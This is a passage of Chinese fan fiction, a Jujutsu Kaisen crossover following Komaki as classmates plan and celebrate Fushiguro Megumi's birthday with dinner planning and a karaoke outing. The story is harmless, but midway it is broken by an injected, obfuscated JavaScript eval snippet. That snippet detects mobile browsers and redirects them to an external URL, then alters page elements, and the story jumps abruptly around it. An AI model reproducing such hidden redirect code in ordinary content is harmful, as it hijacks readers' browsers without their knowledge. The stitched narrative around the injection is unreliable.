总体来说,能够出行大家都很快乐,吃完饭后一行人走在霓虹灯光下,商圈诉说难以得见繁星的城市中夜晚的故事,绚丽招牌书写人造景的繁华,一幕幕于夜色展开。 禅院真希是最先说出口的:“下雪了。” 包括小莳在内的其他人也都抬起头,在街灯和大楼屏幕的映照下,能看见天空零星降下些雪,流转在天地间。 “今年比去年早一周多呢。”小莳伸手,并没有一片雪不偏不倚飘到她指尖或掌心,她又收回。 有人提出:“去年不是一月吗?” 有人没印象:“我不记得了。没关注过下雪。” 虎杖悠仁去年还不在东京:“仙台那边倒是早些,十二月中旬就会有天气预报说要下雪。不过最终主要都集中在1、2月份。” “哦,我那会在异世界,米花,12月24日圣诞前夜下的。也算挺早。”小莳偏过头搭话,“你是仙台的?” “对喔,来高专之前都在宫城县。” 那边二年级的四位除了熊猫都露出了相当微妙的表情,唔,小莳想到了夏油杰的前忌日,还有传说中的百鬼夜行。 熊猫的眼睛隐藏在阴影之下,又是夜晚,看不出眼神,说不定他也想起了难以忘怀的往事。 小莳在二年级中最熟悉的对象其实还是禅院真希,开地狱玩笑第一个想到的还是找她:“禅院同学,放心,他现在已经改好了,进厂就业了,工作之余根本不想建立新世界。” 她和禅院真希现在的关系还在混沌阶段,聊天也会发生,但大部分时间都是她说些故意带刺的话,然后对面笨拙回击。她心里已经没什么芥蒂,只觉得逗禅院真希讲话挺好玩。算是一种恶趣味。 “……”深呼吸,莫生气,禅院真希感到腹中下坠的堵塞感,胃疼,在同级几人担忧的视线,还有野蔷薇和惠密切关注下,她最终只忍气吞声:“别叫我禅院。”他们的表现像是在担心她发火,不得不说这比小莳的挑拨还令她气闷,她才不是那种会随便生气的人! 这一次小莳给了她回应:“哦?那我也叫你真希。真希~” 她撞上去,恰好和侧身惊讶看她的禅院真希贴了满怀,小莳顺手搂住她的腰,稳住身形,禅院真希比她高七八公分,这身高正好够她的下巴搭在对方肩上。 最擅长找舒服姿势的小莳顺势就侧脸垫在真希肩上,调戏她:“从摸了真希的腰开始,我就知道真希是个好女人!”曲线明显的腰身下是蓬勃饱满的肌肉,好有弹性和力量感,好摸,再摸一下。 她绝对有腹肌,小莳对自己的判断相当自信。 真希忍耐,真希忍无可忍,右手转移阵地轻轻拍掉小莳绕过来耍流氓的爪子,脸上红晕浮现,语气凶巴巴:“你在干什么,快松手!” 小莳恶魔低语,音量足以让在场所有咒术师听见:“真希身体素质这么好,明明可以躲开的,你就是故意想被我抱。” “你这糟糕的用语是怎么回事?!”真希脸上血色暴涨,“快放开我。” 小莳附身往真希线条凸显的脖颈吹了一口气,完成后松手后退,“我是意大利人,不懂日语很正常,你理解一下。” 熊猫小声评论:“绝对是故意的。” 狗卷棘:“鲑鱼鲑鱼。” 野蔷薇目瞪口呆,小莳突然就和真希前辈双向奔赴起来,明明之前是真希前辈单方面……这么说来她也好想和纱织贴贴。 伏黑惠和他尊敬的乙骨前辈保持了缄默,但与前辈不同的是,他本人是怀着名为羡慕的情绪不知该说什么的。 野蔷薇怜悯地戳了戳同学后背。 虎杖悠仁:“啊,好像黄油里的台词。好害羞啊!” 被同年级女生一拳打飞,“说出了很让人在意的话啊,虎杖。” “我只是在网上看别人玩过!上次想自己去看看还被伏黑拦住了,呜。” “差劲!”再追加一下,让同学变成陀螺。幸好伏黑不会被这家伙带着做奇怪的事情! 59. 第 59 章 某一天,五条悟召集了一年级除了伏黑以外的两位同学,以及小莳。 “我有意见,为什么要在我宿舍里做这种类似于孤立同学集会的事情?”最近小莳还挺喜欢伏黑惠的,万一五条悟要做什么“你没有被邀请”的事情血别溅她身上。 “因为小莳的宿舍简直是高专最豪华的!”五条悟在小莳经常坐的单人沙发上跷二郎腿,“这皮质应该是百万级别的,啊,小莳天天背着我们在宿舍里过的都是什么好日子,享受享受,太奢靡了。” 野蔷薇和虎杖在餐桌上大快朵颐,今天下午茶是芝士红薯还有水果茶。 虎杖悠仁嘴里塞着焦香的芝士和奶酪红薯:“百万?是很舒服的意思吗,我也要坐!” “下一个是我!虎杖你等得在我之后。” “哎,为什么?” 小莳直接把他们的餐椅换成五条悟现在的同款,免了一场师生争端。这房间可不隔音,万一把楼下人惊上来敲门就尴尬了。 整栋楼一共只有三人,小莳、伏黑、虎杖,如果动静太大闹到可能在房里的伏黑甚尔……所以说血别溅她身上! 下午茶毕,五条悟终于揭晓了此次召集全体学生(除了伏黑惠)的重要目的,那就是:“小惠要过生日了,我们给他举办惊喜派对吧!” 哦,好像是哦,小莳想起来,伏黑是冬至那天出生的,也就是12.22,算来也就是六天以后。但是悟主办的聚会……真的会是惊喜吗? “完全没听他说过!真的吗真的吗?”虎杖悠仁激动,“伏黑也真是的,应该早点说啊!” “五条老师,我的生日是在8月7号,为什么不给我半惊喜派对?” “野蔷薇,那是在暑假。” “我们咒术高专没有暑假吧!说到底那个时候开学也有个把月。” “那就是因为你还沉浸在虎杖去世的痛苦中。” “交流会七月底就开了,我生日在那之后,敷衍!只有伏黑有,我不服气!虎杖你生日什么时候?” “我?3月20号。” “……令人失望,3月我们还不认识,本来以为能多找个人谴责不负责任的老师的。”野蔷薇噘嘴。 小莳不想加入这场雨露均沾失败的师生乱斗,无奈还是被问到了生日,她说:“不知道,我从小就离开家了,也没过过生日。” 这是谎话,阿纲会带小莳一起过生日,不知道日期是哪一天,就分享出自己的生日,与领养的家人共度……10月14日这个日子就暂且不说了。 关于小莳的事情五条悟倒是从夏油杰和泽田纲吉那边知道很多:“后来不是回去了吗?总该看过出生日期,告诉老师,老师也给小莳办惊喜派对哦~当然,悠仁和野蔷薇也一定有。” 小莳有点紧张,她不想说,但是这会三个人倒又团结起来,一起盯着她:“……1月1,就是元旦。” “好好的日子!” “所有人都在期待平安喜乐的祝福日,好酷。” “和惠还有我的生日都好近,以后不然干脆弄个生日月,怎么样!” 不怎么样,大家新年都有自己的事情要安排,而且她也对过生日没有特别的期待。该实现的平常都会自己想办法做到,不会因为是不是生日而有所改变的,而且……生母已经去世,被留下来的生父真的会因为她的诞生日而喜悦吗? 小莳对此持怀疑态度。 但如果是和征十郎一起庆祝的话就没关系,因为他是被小莳认可的亲人。 小莳觉得和一些关系没那么亲密的普通朋友聊生日还是太暧昧了,她心里对伏黑惠道了个歉,敲了一下内心深处的电子木鱼,然后加入群聊:“不然我们先讨论一下小惠的生日惊喜party!” 五条悟一下就回忆起一个多月前她给自己打的第一通电话,她称呼自己为老师,然后称呼夏油杰为我们家小杰,真是个坏心眼的姑娘。 不过如果小惠知道自己被喜欢的人这样称呼,应该会很高兴。 “好!首先是蛋糕,过生日怎么能没有生日cake呢!”五条悟兴冲冲拿出手机给大家展示走到决赛圈的两家店,“是选这个芝士内馅手绘的,还是冰激凌的呢?” “老师,是你自己喜欢吃吧?”伏黑好像不爱任何甜食的样子,上次去仙台特产麻薯也没吃。 “绝对是。”糟糕的人民教师,钉崎野蔷薇还想说什么,小莳紧接着就开口,扰乱了她。 “冰激凌。”小莳喜欢吃冰激凌,认真参与策划讨论的自己也是这么可爱迷人,这不得奖励。 “好,那就冰激凌!”五条悟立刻采纳,然后紧接着问:“巧克力、抹茶还是水果?” “水果。” “草莓、桃子、蜜瓜、无花果。有这几个口味。” 小莳认真思考,然后100%以自己判断为出发点回答:“无花果听起来有一点猎奇,算了,蜜瓜的话比较百搭,没有人会真的讨厌蜜瓜,可是我个人偏向草莓。反正他本人不爱甜食,蜜瓜口味他也不会因此爱上,那就草莓!” 不,怎么说呢,小莳你也知道他不喜欢甜食啊!野蔷薇惊叹于小莳竟然和五条老师在长相有几分相似的同时性格也如此合拍,伏黑他难道其实心里深深尊敬着五条老师之类的…… “那就草莓!”定下了。 不管了,她喜欢小莳,伏黑也喜欢,这些细节先不谈:“吃饭呢,去哪里吃会比较好?” 虎杖悠仁给出提议:“中华料理!” 他被野蔷薇敲头:“谁会想在生日那天吃这个啊,闭嘴!而且至少得去吃伏黑喜欢的吧!” “那伏黑喜欢贵的。”虎杖悠仁委屈,之前泽田同学也是按照自己的口味挑的蛋糕,他以为自己也可以。 贵的是什么鬼哈哈哈哈哈,小莳是知道他对生姜有浓厚兴趣的,伏黑亲口说过,但没看出来他对其他的食物有什么偏好,好像好吃的都可以。 小莳:“那就我请客,我们去吃点贵的。”反正她钱多得很,能自由支配的也多得很。 “贵的!” “贵的!” 两位同学一下就激动起来,如果空间再大些他们就能手拉手跳舞了。 小莳民主征询意见:“卢布松怎样?那可是‘好女人30岁前一定要去吃的店’。” “那是说要去那边约会,一般是男方请客诶。”五条悟也看过东京女子图鉴,他好像什么都知道,是个时间管理大师。 “我是不会对男人有那么多期待啦,看到一些女孩子只能依附男人生活的故事在很久以前会让我惊讶,但在我去赤司家以后就不会了:因为泯然众人而惶惶不安,害怕被优化,害怕被替代,所以选择了看起来更轻松的未来,也不是什么难以理解的事。可我毕竟回到了可以掌握自己的世界,当然不情愿把这么好的权利让渡给不知道哪来的男人。”小莳对五条悟露出得意的神情,“感觉不如奈亚。” 五条悟也想要一个能帮自己料理一切事物的助理,但是此刻他想的是自己学生的恋爱情况,看样子小莳有点被前任伤害到了?小惠能行不,这么想着,他嘴上却说:“一下说出了很有哲理的话呢,那蟹肉鱼子酱不错。” 如果小莳知道他的想法的话应该会及时提醒他,这不过是男人的一厢情愿,不是每一个对男人期待不多的女人都仅仅是因为“以前受过伤”这样刻板印象的理由有了心防。并不是所有东西都和男人有关。 但说白了小莳其实……是的,她在有记忆起,就知道有个和自己同姓,按理说也是父亲的男人曾经想做出性价比高的选择,而造成这一切根源的罪魁祸首,传输失误的记忆中一个想毁灭世界还差点成功的白发男子,说到记忆传输的失败,猜猜复仇者监狱的那些人是男是女? 她的压力来源还真是那些强势的男性掌权者。 这也是为何她在回到赤司家以后和赤司征臣关系僵硬。她作为一个完全的下位,实在不愿意和动辄能决定命运的人一道。 “黄油扇贝怎么样,我喜欢黄油扇贝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413127|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小莳在网络上搜索这家店,目前没看见有人推荐。 五条悟没吃过他家这个:“不知道,但米其林应该不会难吃。我决定,主食选黄油土豆泥。” “我想吃那个做成兔子形状的咖喱饭,不知道会不会有。我以前在其他法餐店吃过。” 没有等来配合,没关系,五条悟没有一丝犹豫开口,好像小莳真的问了他这个:“毕竟我可是全日本第二喜欢黄油土豆的人。” “亲爱的,”小莳一说亲密的话五条悟就知道不会有好事发生,他想的没错,她假笑:“没人在意。” 那边野蔷薇和虎杖正在看网上上传的菜单,“这么些菜你绝对吃不饱。” “毛豆冷汤,炸肉饼,海胆鹅肝,龙虾,看起来都好好吃!” “而且价格不菲。”比一个月伙食费还要多,野蔷薇计算着,脸颊都红了,眼睛也闪烁着期待。 小莳告诉他们:“没关系,放心吃,单点也随意。最近经济状况不错,不用给我省钱。” 大小姐回到家,终于不用再过米花那样节衣缩食的日子,也不用再看“父亲”的脸色,说不定征十郎做了家主后,她作为妹妹会幸福很多,可惜没赶上好时候。 最近私立百花王学园笼罩在期末的氛围中,除了那些在课余活动中欠了钱背负下巨额欠款的,其他人都在全力想办法拿个好成绩。 据说一部分是为了维持“无所不能”的人设,一部分是为了搪塞父母老师。奈亚说的。东大和私立百花王学园之间存在着推荐入学的手续,只要得到学生会和教务处的双重肯定,基本高三过半以后就能确定前往东大上大学,基本是保送。 这些学园一个比一个疯,远月好歹出来以后包就业,拿的还是高中文凭,想去上个大学也随意,如果不幸被退学,因为是远月出来的,再去其他普通高中也可以,不必担心求学路中断;可在私立百花王学园,一有失足连阶级和身份都会改变,运气不好的听说还会被安排人生,比如去和不认识的人结婚……好颠的学校,从青少年时期就要背负一生的未来了。 而这一切都是因为现任学生会长,桃喰绮罗莉。她在两年前对上一任学生会长发起挑战,获得胜利,小莳想这大概就类似于远月的食戟--赢的人就是可以为所欲为。总之这位桃喰会长在上任后就进行了改制,让阶级制度和家畜制度在学园开花,阶级很好理解,弱肉强食,本金来自于原生家庭,能赢凭借此得多少筹码,就会有多少尊重;而家畜……则是为无路可退,无物可失的可怜人准备的魔窟,带上专属小铜牌,成为主人的小狗。 大魔王奈亚有着大差不差的恶劣,还没到这种程度,欠他钱的人也只是欠着等销账,小莳听他自己说他是会偶尔作为债权人恐吓一下同学,其他时候还挺友善。这话里大概有些水分,但她对拯救落魄赌狗兴趣也缺缺,而且其中有不少应该是自己送上门来挑衅的:形貌清秀的转校生,亲和的外表,温柔的伪装,遇到深陷泥沼以及本身就是深渊的同学……绝对会被拉到漩涡里。 现在奈亚已经在私立百花王社团活动里得到了“19亿”的好成绩,“不过其中有四分之三都是坏账,能变现的保守估计只有5亿吧。” 至于银行账户里一直变多的钱,他解释:“是利息。”只要本金不还完,就一直会诞生的利息。 12月24日开始,就放春假,学校里的一切故事都要等到1月10日以后再说。 “22号公布成绩那天把欠的账一笔勾销了吧,别留到明年。”小莳随口安排,“咱家不缺这些钱,如果他们明年再学不会教训,另当别论。”利息的收取方法和信用卡差不多,又是对普通人来说难以一下偿还的债务……搞不好一辈子都要陷在千万负债的利滚利里。 奈亚,一款不良中的不良,恭弥当年也只是打打人而已啊! 她觉得自己有机会还是得去学校看看,当然是明年。今年帮伏黑庆祝一下生日,再和五条悟一起帮夏油杰庆祝一下忌日(……五条悟建议的),然后就这样结束。 60. 第 60 章 12月22日,伏黑惠的16岁生日。野蔷薇和虎杖起了个大早,被五条悟拉着进行了一场名为“JUPPON咒术大奖赛”的比赛。 在听虎杖兴致勃勃说了前情提要后,小莳很庆幸自己从不参与十点前的早课,“悟的这些问题,真的和咒术有任何关系吗?” 什么【大红大紫的女idol突然被公司解雇,发生甚么事了】这种只要求回答有趣的问题,然后根据学生的回答按照个人独断和偏好赋分。 只有虎杖悠仁真的信了老师的说辞:“说是能够促进战斗中瞬间的灵感产生。” 不愧是被野蔷薇称为捧场王的天然系,可爱捏,小莳没忍住笑出声:“悟一定特别喜欢虎杖,如果是我的话绝对会--”一不小心说漏嘴,不说了。 毕竟不是完全的同辈,还是稍微收敛点好,在这点上不能向五条悟学,说喜欢赏脸的气氛组什么的,有点丢人。 转移话题:“第一名的奖品是什么,谁是第一名?” “小莳,太明显啦。你想说什么?”野蔷薇问她。今天伏黑过生日,他绝对会在意这个问题,但是绝对不会开口,所以极具责任担当的野蔷薇当仁不让。 小莳有点心虚挠头:“……我是说我绝对会给捧场的学生悄悄加分,然后保送他。” “……” “……” 等等,他们怎么都沉默了,小莳停下脚步,回转看一年级三人……莫非:“所以这次的JUPPON第一名难道是?”有没有搞错,今天不是伏黑过生日吗,五条老师你是否有些,这种症状持续多久了? “……”真的很像,所以五条老师那个小气鬼绝对是故意让虎杖上岸的!而且伏黑你绝对私下里很尊敬五条老师吧,听说很多日本男性恰好会喜欢和母亲类型相似的女性,难道说!!! 虎杖悠仁全场最开心:“没错,是我哒!”脸上笑出一朵朵花,完全没意识到问题所在。 伏黑惠:习惯了,但不服气。 感觉一不小心就被五条悟败坏了形象,小莳心想我要是徇私舞弊那绝对是偷偷的,才不会这么明目张胆光明正大! 然后她知道了奖品是东京一家KTV的3小时招待券,他们(虎杖和野蔷薇)决定今天就去用掉。 原来是用这种方法把人引到东京去的吗? 生日计划就像脆弱的代码一样,颤颤巍巍运行起来了,伏黑惠完全没有意识到背后的事情,因为整条时间线都异常脱线。 这三个人的脑回路,真的需要用JUPPON再开拓吗?小莳觉得不必。 如果说今天有什么是让伏黑惠比较在意的,那就是自己的两个同学……胃口不很好的样子。 中午普通的吃了定食套餐,小莳尝了一口就兴趣缺缺,最后也没吃完。 伏黑惠知道她对于饮食稍微有些挑剔,只暗暗记下了此事,想着过会看下饮食点评网站,下午在附近买点其他食物。 只不过……一向爱吃的虎杖吃完了套餐就没有再追加,钉崎今早因为集合早,也没来得及吃早餐,结果现在也吃两口就停下。 感觉不对。 其实两位同学只是想晚上多吃点,小莳敏锐发现了伏黑惠的审视。四人一桌的座位是这样的:小莳和伏黑惠面对面,她旁边是野蔷薇,野蔷薇对面是虎杖悠仁。她能很轻易的看见伏黑惠皱起的眉头和思考的眼神。 至少要到悟拿了蛋糕再稍微察觉,毕竟是惊喜,小莳放下筷子,手托着腮:“所以早上还有什么有趣的问题吗?” 虎杖立刻说:“伏黑,伏黑用牛奶喂流浪猫这种事情泽田你能想象吗?” 小莳看见伏黑惠的神情从狐疑变成了羞恼,看起来算是打断成功,然后她开始想虎杖所说的,一会后她眨眨眼:“可以吧,伏黑看起来挺喜欢小动物的。” “诶?”明明是不可能的事情!虎杖悠仁愣住。 “……”伏黑惠你到底在小莳面前营造了怎样的形象,明明是会给海鸥放火,会把猫咪一脚踹开的凶男人! 猫好,人坏。 “啊,那个时候泽田还不认识我们,有一次因为任务去了浦见东中学,就是伏黑的初中。在那边看见了伏黑以前的后辈,你不知道他——”伏黑哥哈哈哈哈哈啊哈哈哈哈哈。 本来是因为一口气没提上来,要呼吸一下再说,结果腿被对面的人狠踹一脚,腰也被旁边的手肘顶了一下,虎杖悠仁腹背受敌:“干嘛?很痛!” 钉崎野蔷薇被同辈的愚蠢搞得发毛,有没有搞错你朋友在追爱你在给人揭短,问题儿童这种事情是可以随便拿出来说的吗?虽然小莳未必会在意,但是这么有风险的丢人往事不要像倒豆子一样吐出来啊! 她还瞪了一眼伏黑惠:你,交友不慎! 伏黑惠低头搅拌味增汤。 “后辈?”小莳想着初中的事情,说到从初中,她在意大利的上学也完全都不是本人出席,唯一能用来参考借鉴的就是兄长还有守护者的初中故事,结合虎杖悠仁说的伏黑惠不可能喂流浪猫:“难道说,伏黑是不良少年、校霸之类的?” 说到不良,以前阿纲也觉得恭弥是那种会欺负小动物的前辈,后来发现他爱的要死。原来他只讨厌人类和群聚。 小莳很轻易就联想到一块去了,但是在场的其他人就…… 伏黑呛了一口汤,虎杖好像意识到了什么,嘴里说着:“这可不是我说的呜哇”,野蔷薇两只手捂着脸,两个笨蛋,算了算了,高专学费全免,能来东京玩已经很棒了。 看见一年级三个人的反应就知道自己没猜错,她说:“还真是啊。没想到伏黑同学也有这样的往事。”有机会把他介绍给恭弥认识,明明看上去比十几岁的恭弥沉稳多了。 江口小莳的记忆里,恭弥是那种……总是很愤怒还有很想打人的……变异傲娇系美人,伏黑现在也是16岁的年纪,倒是给人感觉沉稳和体贴。 她下一句是:“有点像我嫂子,不过我嫂子以前也比较桀骜不驯,直到遇到了我哥。伏黑同学大概是上了高中就稍微心平气和一些了吧。”恭弥上了彭格列的船一直没下来,虽然游离在意大利外,但……大抵没少困觉。 “……”称呼已经变成伏黑同学了,而且这个嫂子就,钉崎野蔷薇吃饭缓解尴尬。这事她解决不了,让笨蛋虎杖随意发挥,今晚能吃法餐就行。 队友拖后腿,她管不了啦! 虎杖:“woo,这么说来伏黑以后也能遇上一个让自己性情收敛的女孩,会是怎样的人呢,好在意,说到喜欢的女生,之前有一次我以为伏黑被搭讪了,结果到后来发现只是问路。失望。” 钉崎野蔷薇:好顺畅的直接把话题转到了其他地方,虎杖竟然在这种棘手的地方该死的又10分了,可恶,有种败了的感觉。 风向转变,加上一颗不服输的心,野蔷薇重新开始打配合:“对啊对啊,伏黑会喜欢怎样的女生呢?”这种问题应该早有准备才是,快说点好听的。 小莳也看向伏黑惠,这样想有自恋嫌疑,但他疑似对自己有些好感,听听回答,辅助验证。 一桌人全都停下了碗筷,看着他,这让伏黑惠很不习惯,除去在状态外的虎杖,钉崎确实在有效帮助他,多谢了,钉崎。 他低下头,说出了:“个性鲜明的,喜欢小动物的,有一往无前进取之心的……还有,笑起来好看的。” 小莳觉得这太普通了,随便哪个女孩子都能集齐几个要素,十几岁对于学生来说也是拼搏的时候,说得好像谁没为什么比赛社团积极进取过,只要有好感的话这些笼统的特点都能硬凑,有亿点点无趣。 不过这下也能肯定和她没关系就是了。 野蔷薇此时心里想的是:好,很不错的回答!然后她接着发力:“年龄的话呢?年上还是年下?” 被问及此问题,伏黑惠感觉自己的心像是被盐渍过的青梅,混杂一起的味道酸酸的,咸咸的,他头更低:“……年长一些的女性吧。” 野蔷薇觉得自己和伏黑简直是一百分,就在她打算接着说些什么的时候,虎杖“哦”了一声,“难道伏黑喜欢你的姐姐,津美纪?!” 这一桌陷入了短暂的沉默。 然后是虎杖的碎碎念:“对吧对吧,之前看你这么在意她的态度还有你说过你们是结合家庭,没有血缘关系,所以--钉崎,你又踢我!” 小莳也有点意外,伏黑惠听起来怎么有点,妈宝男!义理兄弟姐妹cp这种设定怎么说呢,在一些特定网站应该还挺受欢迎的。 而且…… “伏黑你有姐姐?”完全没听甚尔说过,都入赘了,按理说会和继女稍微有点熟悉。 “……”伏黑惠收拾好七零八落的心情,和小莳说起了自己小学时期父亲和伏黑女士重组家庭的事情。以及,“我对津美纪并没有超出亲情之外的感情,虎杖那家伙什么都不知道。”拜托了,不要因那个笨蛋的话而误会。 小莳摆摆手:“只是你父亲从来没提起过,看来他只是谁都不在乎。希望她的诅咒早日解除。” 伏黑惠看出来了,好消息,没误会,坏消息,她根本不在乎。酸甜咸涩的心脏联动身体里的血管将刺激味蕾的触感传到四肢百骸。 他忍不住想,那人到底是怎么和小莳在一起的,可恶,他甚至想象不了恋爱以后的生活是怎样。小莳她,喜欢上一个人的时候会是什么样子呢? * 下午,KTV 五条悟给的招待券应该是最高规格,房间比预想中大不少,毕竟要供4个人使用。比起唱歌小莳还是更感兴趣店里提供的不限量冰激凌和饮料。 伏黑惠很细心的已经帮她购买了柿饼,冬天就该吃这些好东西。但柿饼和冰激凌还有甜饮料完全是不同领域不同赛道的产品,可以在汽水上打冰激凌然后铺一个流心柿饼上去。 唔,是不敢想象的好吃程度!伏黑被推荐坐在最外侧的双人沙发,那边靠近门口方便拿东西,而且联系前台的电话也在那。 这样子好像理所当然被支使干活的样子完全迷惑了本日的寿星,别说他本人,小莳也忘了他的两位同学想帮他庆生。鬼才的演技,还是平常被拉扯到习惯成自然? 看来伏黑不是蓝波那样的妈宝,他自己就是不情不愿离异意外带俩娃的那种……或许算上五条悟是三个。 小莳和他共坐一个沙发,野蔷薇提议关上灯以后,就只有房间的电视和桌前的点歌小屏幕在发光了,让空间显得拥挤起来。 小莳捧着杯子安静喝着饮料,听一年生们唱着她没听过的歌曲。 然后野蔷薇拉着虎杖出了房间:“抱歉,我和这个笨蛋有点事情。” “喂,钉崎,下一首歌是我的,而且我只是想和伏黑--”坐在一起啊。 被捂着嘴扯着帽子拖出去了。 小莳看到虎杖真的会有点想笑,总之虎杖同学真有几分可爱,如他所言也很适合去做些给人带来欢笑的职业:“虎杖真是有趣,看见他就有发自内心想笑的反射。”主要可能是这孩子太倒霉,一对比他就觉得自己是幸运promax,连人生过去的残缺都赶紧治愈了。 喜欢的人在自己面前,却因为朋友而展露笑颜这种事情……伏黑惠一点也不高兴:“泽田,很欣赏虎杖吗?” 小莳抿着笑意,她觉得自己是一个颇有天赋的调饮料大师,虽然动手料理的天赋不佳,但有这一手也算补偿:“伏黑平常有看漫画的习惯吗?” “不经常看。” “哦,我只是想说,虎杖会让我想到一些很能振奋人的漫画男主,像小太阳一样,只是看见就会想要微笑。”传闻中女主不一定爱,但男配爱惨了的那种。 小莳最近在看的打排球漫画就是这样,除了有搭档的二传,大家都纷纷爱上日向翔阳,收割机称号名副其实。 “……”这话没法接。 “说来,伏黑,你应该也很喜欢虎杖吧。毕竟是共同战斗了很久的同伴,而且,他真的阳光开朗,除去宿傩那部分。宿傩会给我很危险的感觉,所以我不太会主动和虎杖同学聊天。”听悟说,当时是伏黑请求他想办法救救虎杖,不过悟本来也很喜欢这个勇敢的孩子,应该不用请求就会想办法--相当于还得到了平常不爱搭理人的可爱学生的主动低头。 五条悟,又赢一次。 “……啊,嗯。不,没有很喜欢,只是作为朋友,那家伙还不错。” 语言系统错乱了?小莳见识到了伏黑不沉稳的一面,反差之余觉得有趣:“你还是傲娇呢?”完了,更jump了。 一般来说一女二男的搭配里面,傲娇都是分配给女主的,她就说怎么没在野蔷薇身上看到刻板印象的品质,原来在这里。3真是一个奇妙的数字。 而且还喜欢小动物,人又有点善良……小莳逐渐发散,她好像发现了什么了不得的秘密。 伏黑惠:“……” 沉默换来小莳更不客气的打量,她突然凑到少年的脸前,歪着脸惊叹:“伏黑居然也有这样的一面,实在是太稀罕,可我从来没见过,难道说你一般只在虎杖面前那样吗?” 伏黑惠有些胃疼,倒不如说他偏偏只在泽田小莳面前不一样。而且,现在她的注意力确实不在虎杖身上而如愿转移到了他本身……但是说的内容怎么会这么离谱。 “不,我只是……”只是什么?想在你面前表现得更可靠一些,想通过此吸引你的目光,想让你因此也心悦几分?这种话怎么可能说得出口,他止住。 “只是什么?伏黑,你不会……”小莳之前打消的想法又浮现,她还想再说点什么,包厢门被打开了。 借走廊明亮的灯光,她清楚看见伏黑靠在沙发上,抬起的下颌,绯红的脸,还有带着湿气的眼睛。门被打开时的光线让他一下合了眼,纤长的睫毛如蝴蝶扇翅,暂栖在眼下,再张开时就是小莳见到的模样。 一汪绿水。 小莳看见两人回来,就回到属于自己的地盘,吃着自调饮料冰激凌,也不和伏黑说话。 “……”钉崎野蔷薇恨自己的要强,她应该让虎杖先走,小莳迫近的动作,自己难道打断了一个kiss? 感觉罪孽深重。 一时之间没人点歌唱歌,只能听见隔壁房间传来的吚吚呜呜。最先打破这好像被诅咒一样氛围的是虎杖悠仁,他勇敢的让伏黑惠帮忙点了歌,然后是野蔷薇。 伏黑只在最开始的时候点了一首,后面他和小莳手臂和肩膀几乎都贴在一起,却没有一丝动静。 小莳很快吃完了一杯,她想续杯就得和伏黑说话,然后他让开,她才能出去。 “伏黑,我吃完了。”她的意思是统统闪开。 伏黑惠没有让开,他接过了杯子:“雪碧和香草味的冰激凌,对吗?” 小莳上一杯吃的确实是这个,他还挺细心,不过这次她想换换口味:“我想试试蜜瓜苏打和抹茶冰激凌。”出于不用自己跑腿而诞生的礼貌,她还补充了谢谢。 伏黑惠点点头出去了,小莳和她旁边沙发的野蔷薇对上眼神:“怎么了?”这样看着她。 “……”野蔷薇不太确定,“你和伏黑,刚刚是?” 小莳这么说:“我想问他一个问题,可能有点着急,一不小心吓到了他。”同时,一不小心还被伏黑惠的俊俏外表惊艳了一下,没有及时退开。 好一个艳丽美女,伏黑惠。 小莳说不清楚当时心里是怎样的感觉,只是看到他有点惊慌像鹿的神情,就突然产生了想再多靠近一些的心思。 伏黑惠回来以后,她向他道谢,然后规规矩矩窝在沙发一侧,搅动杯里被好心的少年新插的吸管,并没有直接开喝,想问题还是要更加彻底一些,既然察觉了就要多考虑考虑,而不是囫囵放过。 右侧的手递来一个从桌上塑料盒里拿出的柿饼:“要撕开吗?还是直接放进去。” 小莳这才注意到杯子被特地留了一点空间,原来是为了放它。好……好贤惠的男孩子,“直接丢进去,谢谢。”你们名字里带惠的都这样会照顾人吗,那她可不困了。 还是说,伏黑真的对她有好感? 以及,不能完全略过世界上三大错觉之一:也有概率只是她突然注意到了伏黑,对他有那么些好感,然后……因为有些在意就生了自恋情绪,认为对方也比较关注她。 从认识到现在也有六周,伏黑有做什么能被界定为特殊关照的事情吗?初识的时候领用品逛校园,老师指使的;第二天帮忙处理伤口,说来那情形其实会有点暧昧,毕竟她还是被抱上楼的,可惜她当时完全没注意,算一个同学情谊,伏黑那时候不知道她可以施展医学奇迹自己走上去;然后后面的时不时分享食物,给她带点心,也没什么出格的,说不定他对周围人都这样。而且往后推几步,还是她先热情邀请人一起吃饭呢,万一只是有礼貌的回礼就自作多情到令人发笑了。 问问五条悟。 领导同事在天堂:在干嘛。 没回,兴许在忙。 问问真希,他们从小就认识。 领导同事在天堂:真希,你有空吗? 真希:干嘛 领导同事在天堂:你觉得伏黑惠人怎么样 真希:有点拽,学习态度比你端正太多,挺抗打。 领导同事在天堂:是的,我是一朵不耐风寒的娇花,那天被真希摧残的时候心都要碎了。【人家要掉小珍珠了.jpg】 真希:……不是给你买了可丽饼和芝士塔,这事就算过去了吗,不要出尔反尔啊!! 领导同事在天堂:真希先含沙射影,说我不抗打呗 领导同事在天堂:但这不是重点,我想问的是人际交往。 领导同事在天堂:伏黑同学有对谁比较特殊吗?如果是我不认识的人那你顺便介绍一下 真希:也太会指使人了吧,问这种问题,你也喜欢他? 没等小莳再发消息问这个也是什么意思,爽利直率的真希就立刻自己解释。 真希:那小子一向受女孩喜欢,真依对他兴趣也很大。和他出任务的时候总有人来问路,问他不问我。 真依,禅院真希的双胞胎妹妹……如果没记错的话禅院真希有一位堂兄应该是叫做禅院甚尔,后来这人离家出走又有了伏黑惠。她 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“……没事!只是有种被戏弄的不快。”如果是小莳,说出去她或许会生气,真希不得已的替人保守秘密。 熊猫看她这反应大概就知道了:“哦,是小莳啊,听说他们今天一起出去给惠庆生。” “鲑鱼鲑鱼。” “哈?惠今天过生日?” * 直到KTV人员提前30分钟打来提醒结束电话,小莳已经把一袋4个柿饼全部解决。 “泽田,快结束了,你不唱歌吗?” “不了,伏黑同学你多唱几首,我会给你鼓掌。”有点撑,想站一会,鼓掌的事情咕一咕:“我去趟卫生间,劳烦让一下。” “我也去。”野蔷薇和小莳一起离开包间。 两人走了有一会,学聪明的虎杖这才停止唱歌,还盯了房门,确定被好好关着,才对同学说:“伏黑,钉崎说你对泽田同学,是真的吗?” 